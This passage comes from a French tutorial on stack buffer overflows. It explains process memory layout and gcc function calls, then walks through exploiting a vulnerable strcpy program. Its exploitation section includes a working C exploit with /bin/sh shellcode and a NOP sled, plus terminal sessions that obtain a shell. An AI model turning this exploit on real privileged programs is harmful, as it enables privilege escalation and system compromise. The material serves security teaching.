défait une variable locale est automatique).Elle fonctionne selon le principe LIFO(Last in First Out), premier entrépremier sorti et croît vers les adresses basses de la mémoire.A l'exécution d'un programme ses arguments(argc et argv)ainsi que les variables d'environnement sont aussi stockés dans la pile.Les variables allouées dynamiquement par la fonction malloc()sont stockées dans le heap.0xC0000000figure1.Nous allons voir quelques déclarations de variables et leur location en mémoire:int var1;//bsschar var2[]="buf1";//datamain(){int var3;//stackstatic int var4;//bssstatic char var5[]="buf2";//datachar*var6;//stackvar6=malloc(512);//heap}La commande size permet de connaître les différentes sections d'un programme ELF et de leur adresse mémoire.ouah@weed:~/heap2$size-A-x/bin/ls/bin/ls:section size addr.interp0x130x80480f4.note.ABI-tag0x200x8048108.hash0x2580x8048128.dynsym0x5100x8048380.dynstr0x36b0x8048890.gnu.version0xa20x8048bfc.gnu.version_r0x800x8048ca0.rel.got0x100x8048d20.rel.bss0x280x8048d30.rel.plt0x2300x8048d58.init0x250x8048f88.plt0x4700x8048fb0.text0x603c0x8049420.fini0x1c0x804f45c.rodata0x2f3c0x804f480.data0xbc0x80533bc.eh_frame0x40x8053478.ctors0x80x805347c.dtors0x80x8053484.got0x12c0x805348c.dynamic0xa80x80535b8.sbss0x00x8053660.bss0x2a80x8053660.comment0x3dc0x0.note0x2080x0Total0xade9(Des informations similaires mais plus détaillées peuventêtre obtenues avec les commandes readelf–e ou objdump-h).Nous voyons apparaître l’adresse en mémoire et la taille(en bytes)des sections qui nous intéressent:.text,.data et.bss.D’autres sections,comme.plt,.got ou.dtors seront décrites dans les chapitres suivants.2.2L’appel de fonction avec le compilateur gccNous allons voir comment est fait l’appel d’une fonction en assembleur dans un programme compiléavec gcc au moyen d’un programme qui nous servira d’exemple. void foo(int i,int j){int a=1;int b=2;return;}main(){foo(5,6);}Le programme appelle une fonction foo()avec plusieurs arguments.Désassemblons ce programme au moyen du débugger gdb,pour voir comment se passe l’appel, l’entrée et la sortie d’une fonction ainsi que comment sont gérés les arguments et les variables locales d’une fonction.ouah@weed:~/chap2$gdb tst-q(gdb)disassemble mainDump of assembler code for function main:0x80483d8<main>:push%ebp0x80483d9<main+1>:mov%esp,%ebp0x80483db<main+3>:sub$0x8,%esp0x80483de<main+6>:add$0xfffffff8,%esp0x80483e1<main+9>:push$0x60x80483e3<main+11>:push$0x50x80483e5<main+13>:call0x80483c0<foo>0x80483ea<main+18>:add$0x10,%esp0x80483ed<main+21>:leave0x80483ee<main+22>:ret0x80483ef<main+23>:nopEnd of assembler dump.(gdb)disassemble fooDump of assembler code for function foo:0x80483c0<foo>:push%ebp0x80483c1<foo+1>:mov%esp,%ebp0x80483c3<foo+3>:sub$0x18,%esp0x80483c6<foo+6>:movl$0x1,0xfffffffc(%ebp)0x80483cd<foo+13>:movl$0x2,0xfffffff8(%ebp)0x80483d4<foo+20>:jmp0x80483d6<foo+22>0x80483d6<foo+22>:leave0x80483d7<foo+23>:retEnd of assembler dump.Nous voyons donc ci-dessus les fonctions main()et foo()désassemblées.Appel d’une fonctionDans notre programme,la fonction foo()est appelée avec les paramètres5et6.En assembleur,cela est accompli ainsi:0x80483e1<main+9>:push$0x60x80483e3<main+11>:push$0x50x80483e5<main+13>:call0x80483c0<foo>En<main+9>,l’appel de la fonction commence.On empile d’abord avec l’instruction push les arguments de la fonction en commençant par le dernier.On saute ensuite au moyen de l’instruction call dans le code de la fonction foo().L‘instruction call ne fait pas que sauteràl’adresse désiré,avant elle sauve le registre%eip dans la pile.Ainsi, quand on sortira de la fonction foo(),le programme saura oùrevenir pour continuer l’exécution dans main().Prologue d’une fonctionLe prologue d’une fonction correspond aux premières instructions exécutées dans la fonction soit depuis<foo>.Soit:0x80483c0<foo>:push%ebp0x80483c1<foo+1>:mov%esp,%ebp0x80483c3<foo+3>:sub$0x18,%espEn<foo>nous sauvons d’abord le registre frame pointer(%ebp)sur la pile.Il s’agit du frame pointer de la fonction d’avant.Ainsi,quand nous sortirons de la fonction foo()le frame pointer pourraêtre remisàsa valeur sauvée.En<foo+1>,nous mettons àjour le registre frame pointer,au début de la frame qui va commencer et qui est la frame pour la fonction.En<foo+3>,nous réservons ensuite la place pour les variables valeur0x18indique que24bytes ontétéréservépour nos2int(2*4bytes),cela est plus que suffisant mais gcc(2.95.3)réserve au minimum24bytes.Si nous avions plus que24bytes de variables locales,il aurait donc fallu soustraire(la pile croît vers le bas)plus de bytes.Le compilateur gcc réserve pour chaque frame un espace dans la pile de taille multiple de4.Epilogue d’une fonctionL’épilogue correspondàla sortie de la fonction foo().Elle doit alors retourner au bon endroit et restituer le frame pointer sauvegardépar le prologue de la fonction.Le prologue est effectuépar ces deux instructions:0x80483d6<foo+22>:leave0x80483d7<foo+23>:retL’instruction leave estéquivalente aux deux instructions suivantes:mov%ebp,%esppop%ebpIl s’agit de l’opération inverse de celle effectuée dans le prologue.On ramène le sommet de la pile au niveau du frame pointer puis on restitue le frame pointeur sauvegardédans%ebp.La dernière instruction,ret,retourneàl’endroit juste après l’appel de la fonction foo() grâceàla valeur de retour stockée en pile durant l’appel.Enfin,au retour de la fonction,en<main+18>:0x80483ea<main+18>:add$0x10,%espOn remet la pile en place pour reveniràla situation d’avant l’empilement des arguments de foo()pour l’appel.3.Stack Overflows«Vous serez comme des dieux»,Genèse,chap III3.1HistoriqueLe problème des buffer overflows et leur exploitation n’est pas nouveau.Leur existence se situe aux tout débuts de l’architecture Von-Neumann-1.Selon C.Cowan, des anecdotes situent les premiers exploits de buffer overflow dans les années1960 sur OS/360.En1988,unévénement a secouéle monde informatique quand Robert J. Morris aétéla cause de la paralysie de10%de tous les ordinateurs d’Internet quand il a propagéson vers malicieux,«l’Inet Worm»(cetévénement a par ailleursétéàl’origine de la création du CERT).Ce vers s’introduisait dans les serveurs en exploitant des failles de Sendmail et de fingerd sur des ordinateurs4.2ou4.3de BSD Unix sur architecture VAX et SunOS sur architecture Sun-3.Parmi plusieurs failles classiques que le worm exploitait,il exploitait un buffer overflow sur les serveurs fingerd.Ce-dernier interceptait les données d’utilisateurs distants au moyen de la fonction gets().Cette fonction est une fonction dangereuse etàne jamais utiliser car il est impossible quand elle est appelée de contrôler que l’utilisateur n’envoie pas plus de données que prévues.Dans le cas de l’inet worm,il envoyait,dans un buffer de 512bytes,une requête de536bytes qui enécrasant des données critiques lui permettait d’obtenir un shell sur l’ordinateur distant.Fin1995,Mudge du groupe L0pht(futur atstake)est le premieràécrire un texte traitant de l’exploitation des buffer overflow.Mais c’est un an plus tard,qu’Aleph One(l’iniateur de la liste de diffusion Bugtraq)écrit pour le magazineéléctronique phrack l’article«Smashing the stack for fun and profit»qui est encore actuellement le texte de référence pour comprendre et exploiter des buffers overflows.L’histoire des buffer overflows ne s’est toutefois pas arrêtéaprès ce texte et plusieurs classes d’overflows ont puêtre exploitées grâce au développement de nouvelles techniques d’exploitation.3.2DéfinitionAvant d’entrer dans le monde de l’exploitation des overflows,intéressons-nousàce qu’est exactement un buffer overflow.Un buffer overflow est la situation qui se produit quand dans un programme on place dans un espace mémoire plus de données qu’il ne peut en contenir.Dans ce genre de situations,les données sont quand même insérées en mémoires même si ellesécrasent des données qu’elles ne devraient pas. Enécrasant des données critiques du programme,ces données qui débordent amènent généralement le programmeàcrasher.Ce simple fait est déjàgrave si l’on penseàdes serveurs qui ne peuvent ainsi plus remplir leur tâche.Plus grave,enécrasant certaines données,on peut arriveràprendre le contrôle du programme ce qui peut s’avérer désastreux si celui-ci tourne avec des droits privilégiés par exemple.Nous voyons ici un exemple de programme vulnérable qui contient un buffer overflow:1#include<stdio.h>234main(int argc,char*argv[])5{6char buffer[256];78if(argc>1)9strcpy(buffer,argv[1]);10}Ce programme ne fait rien de plus que de prendre le premier argument de la ligne commande et de le placer dans un buffer.A aucun endroit du programme,la taille de l’argument de la ligne de commande n’aétécontrôlée pour qu’il soit plus petit que le buffer qui l’accueille.Le problème arrive quand l’utilisateur donne un argument plus grand que le buffer qui lui est réservé:ouah@weed:~$./vuln1`perl-e'print"A"x300'`Segmentation faultLe programmeécrit en dehors du buffer réservéqui fait crasher le programme.Nous verrons plus loin comment rediriger le cours d’exécution du programmeànotre faveur.3.3ExploitationNous allons maintenant voir comment exploiter le programme précédent qui contenait un buffer overflow.Grâce au chapitre2,nous savons que notre buffer vulnérable se situe sur la pile et qu’il est directement suivi en mémoire par le frame pointer et l’adresse de retour de la fonction dans laquelle est définie buffer(soit main()).Notre but est donc d’écraser cette adresse de retour pour rediriger le programme.Notre buffer ayant une taille de256octets,264bytes suffisent pourécraser cette adresse de retour par une adresse de notre choix.Il convient de remarquer que les variables en mémoires sont paddéesà4octets.Ainsi si notre buffer avait255éléments au lieu de 256,il occuperait quand même256octets dans la pile.Avec le débuggeur gdb,nous allons vérifier cette affirmation.Tout d’abord,il nous faut activer la création de fichiers core lors de segfault d’un programme.ouah@weed:~/chap2$ulimit-c100000Exécutons notre programme vulnérable de manièreàécraser l’adresse de retour par la valeur0x41414141(«AAAA»en ASCII).ouah@weed:~$./vuln1`perl-e'print"B"x260'`AAAASegmentation fault(core dumped)Le fichier core aétédumpédans le répertoire du programme vulnénçons maintenant gdb sur le fichier core afin de pouvoir l’analyser.ouah@weed:~$./vuln1`perl-e'print"B"x260'`AAAASegmentation fault(core dumped)ouah@weed:~$gdb-c core-qCore was generated by`./vuln1 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BB'.Program terminated with signal11,Segmentation fault.#00x41414141in??()(gdb)p$eip$1=(void*)0x41414141(gdb)p$esp$2=(void*)0xbffff834La ligne#00x41414141in??()nous indiqueàquel endroit du programme l’on se trouvait lorsque le signal segfault aétéreçu.Le programme reçoit un signal segfault car l’adresse0x41414141n’est pas valeur du registre%eip nous confirme que nous avons pu rediriger le programme vulnérableàl’adresse de notre choix!Notre but est maintenant de profiter de cette situation pour faire exécuter au programme ce que nous voulons.Le mieux que nous pouvons espérer est l’exécution d’un shell car ainsi les commandes qui y seront lancées,le seront avec les privilèges du programme vulnérable.Par exemple,si notre programme vulnérable est SUID root et que nous somme simple user,les commandes exécutées dans ce shell auront les privilèges du root.La ligne de commande Unix ne nous interdit pas de passer des valeurs binaires non ASCII.Notre buffer a une taille de256octets,cela est amplement suffisant pour y caser un petit programme assembleur qui exécute un shell.Ce programme est communément appelé‘shellcode’car sa fonction est généralement de lancer un shell. Il n’est pas nécessaire de coder soit-même le shellcode,des shellcodes génériques pour différentes architectures ont déjàétéprogrammés.Le shellcode est injectédans le buffer vulnérable avant la nouvelle adresse de retour. Un des avantages de le placeràcet endroit plutôt qu’après notre adresse de retour,est que nous sommes ainsi sûr que,hormis d’écraser le frame pointer sauvéet l’adresse de retour,notre exploit n’écrase aucune autre donnée du programme.Enfin,il resteàdéterminer l’adresse en mémoire du shellcode et de l’utiliser comme nouvelle adresse de retour de la fonction main().Il serait trivial de déterminer un candidat pour l’adresse de retour en lançant gdb sur le programme vulnérable:en plaçant un breakpoint dans la fonction main()et en exécutant le programme,on obtient facilement l’adresse du buffer.Malheureusement, les conditions pour tracer le programme vulnérable(voir chapitre3.42)sont rarement rencontrées.La méthode utilisée dans l’exploit tenter d’estimer cette adresse du shellcode.Les lignes qui suivent sont celles de l’exploit et sont décrites plus bas.1/*2*classic get_sp()stack smashing exploit3*Usage:./ex1[OFFSET]4*for vuln1.c by OUAH(c)20025*ex1.c6*/78#include<stdio.h>9#include<stdlib.h>1011#define PATH"./vuln1"12#define BUFFER_SIZE25613#define DEFAULT_OFFSET014#define NOP0x901516u_long get_sp()17{18__asm__("movl%esp,%eax");1920}2122main(int argc,char**argv)23{24u_char execshell[]=25"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"26"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"27"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";2829char*buff,*ptr;30unsigned long*addr_ptr,ret;3132int i;33int offset=DEFAULT_OFFSET;3435buff=malloc(4096);36if(!buff)37{38printf("can't allocate memory\n");39exit(0);40}41ptr=buff;4243if(argc>1)offset=atoi(argv[1]);44ret=get_sp()+offset;4546memset(ptr,NOP,BUFFER_SIZE-strlen(execshell));47ptr+=BUFFER_SIZE-strlen(execshell);4849for(i=0;i<strlen(execshell);i++)50*(ptr++)=execshell[i];5152addr_ptr=(long*)ptr;53for(i=0;i<(8/4);i++)54*(addr_ptr++)=ret;55ptr=(char*)addr_ptr;56*ptr=0;5758printf("Jumping to:0x%x\n",ret);59execl(PATH,"vuln1",buff,NULL);60}Commençons par la fin:àla ligne59,avec la fonction execl()on appelle le programme vulnérable avec l’argument buff qui va nous permettre de l’exploiter.Cet argument est appelépayload car qu’il contient toutes les informations nécessairesàl’exploitation,dont le shellcode et la nouvelle adresse de retour.L’exploit se charge de contruire ce payload.A la ligne12,BUFFER_SIZE représente la taille du bufferàoverflower du programme vulnérable.Le payload,définiàla ligne35,a une taille de BUFSIZE+2*4+1octets,soit la taille du buffer plus2*4bytes pour le frame pointer et l’adresse de retour et un dernier octet pour le0qui termine la string.Le buffer est d’abord rempliàla ligne46par la valeur0x90.Cette valeur est celle de l’instruction assembleur NOP.Cette instruction,disponible sur la majoritédes processeurs,comme son nom l’indique ne fait rien du tout.Le shellcode,aux lignes 49-50est copiéentièrement juste avant l’adresse de retour,en fin de buffer,de façon àce qu’on ait le maximum de NOP avant le shellcode.Le shellcode que nous avons utiliséest un classique et aétécodépar Aleph One.L’adresse de retour est ensuite inséréen fin du payload,ainsi que le0final.Comme l’adresse de retour est estimée,les NOP du payload nous permettent de la déterminer avec une précision moindre.En effet,nous savons que si l’adresse de retour pointe dans les NOP alors notre shellcode sera exécuté.avant l’overflow après l’overflowfigure2.La ligne44,va estimer l’adresse de retour désirée en appelant notre fonction get_sp(). Cette fonction permet de récupérer le pointeur de pile%esp de l’exploit quand on se trouve dans la fonction main().Grâce aux mécanismes de mémoire virtuelle,on suppose que cette adresse risque de ne pas trop changer dans notre programme vulnérable ce qui nous donne une indication de l’adresse mémoire du buffer vulnérable qui se trouve lui aussi dans la pile.A cette adresse on y a ajoute un OFFSET(positifif ou négatif)par défautà0ou sinonàmisàla valeur du premier argument de l’exploit.Ainsi si l’exploit ne fonctionne pas,on peut toujours tâtonner en ajoutant un décalageàla fake adresse de retour pour qu’elle pointe dans les NOP. La figure2montre la constitution du payload.Nous pouvons maintenant exécuter notre exploit:ouah@weed:~$./ex1Jumping to:0xbffff8ccIllegal instruction(core dumped)ouah@weed:~$Nous voyons ici que notre exploit n’a pas fonctionné.Le programme vulnérable a sautédans une zone mémoire oùil a rencontréune instruction qu’il ne connaissait pas.Cela est dûàun mauvaise offset,ici l’offset0,car on l’a vu plus haut,notre fake adresse de retour est seulement estimée.Changeons notre offset:nous savons que dans notre buffer vulnérable il y a plus de200NOPs,ce qui nous permet donc de spécifier un offset par pas de200pour le trouver plus facilement:ouah@weed:~$./ex1400Jumping to:0xbffffa5csh-2.05$Bingo.Le prompt du shell a changé,on a effectivement pu faire exécuter/bin/shànotre programme vulnérable.Remarque:dans notre exemple,un offset de200faisait encore crasher le programme, mais un offset de250environétait suffisant pour l’exploiter.En fait,l’offset sert surtoutàla portabilitéde l’exploit d’une version du système d’exploitationàune autre.On aurait aussi bien pu coder l’exploit qui prend directement cette fake adresse de retour en argument.Voyons comment en débuggant le core dumped on peut trouver directement l’offset qu’il faut ajouter.Relançons notre exploit sans argument(soit avec un offset0):ouah@weed:~$./ex1Jumping to:0xbffff8ccIllegal instruction(core dumped)ouah@weed:~$Le fichier core aétédumpédans le répertoire de programme vulnénçons maintenant gdb sur le fichier core afin de pouvoir l’analyser:ouah@weed:~$gdb-c core-qCore was generated by`vuln1'.Program terminated with signal4,Illegal instruction.#00xbffff8ce in??()(gdb)x/120xbffff8cc0xbffff8cc:0xbffffc340xbffffc3b0xbffffc4b 0xbffffc530xbffff8dc:0xbffffc5d0xbffffe100xbffffe38 0xbffffe5a0xbffff8ec:0xbffffe670xbffffe7f0xbffffe8a 0xbffffe92…(gdb)...0xbffff9bc:0x760036380x316e6c750x90909000 0x909090900xbffff9cc:0x909090900x909090900x90909090 0x909090900xbffff9dc:0x909090900x909090900x90909090 0x90909090(gdb)p0xbffff9cc-0xbffff8cc。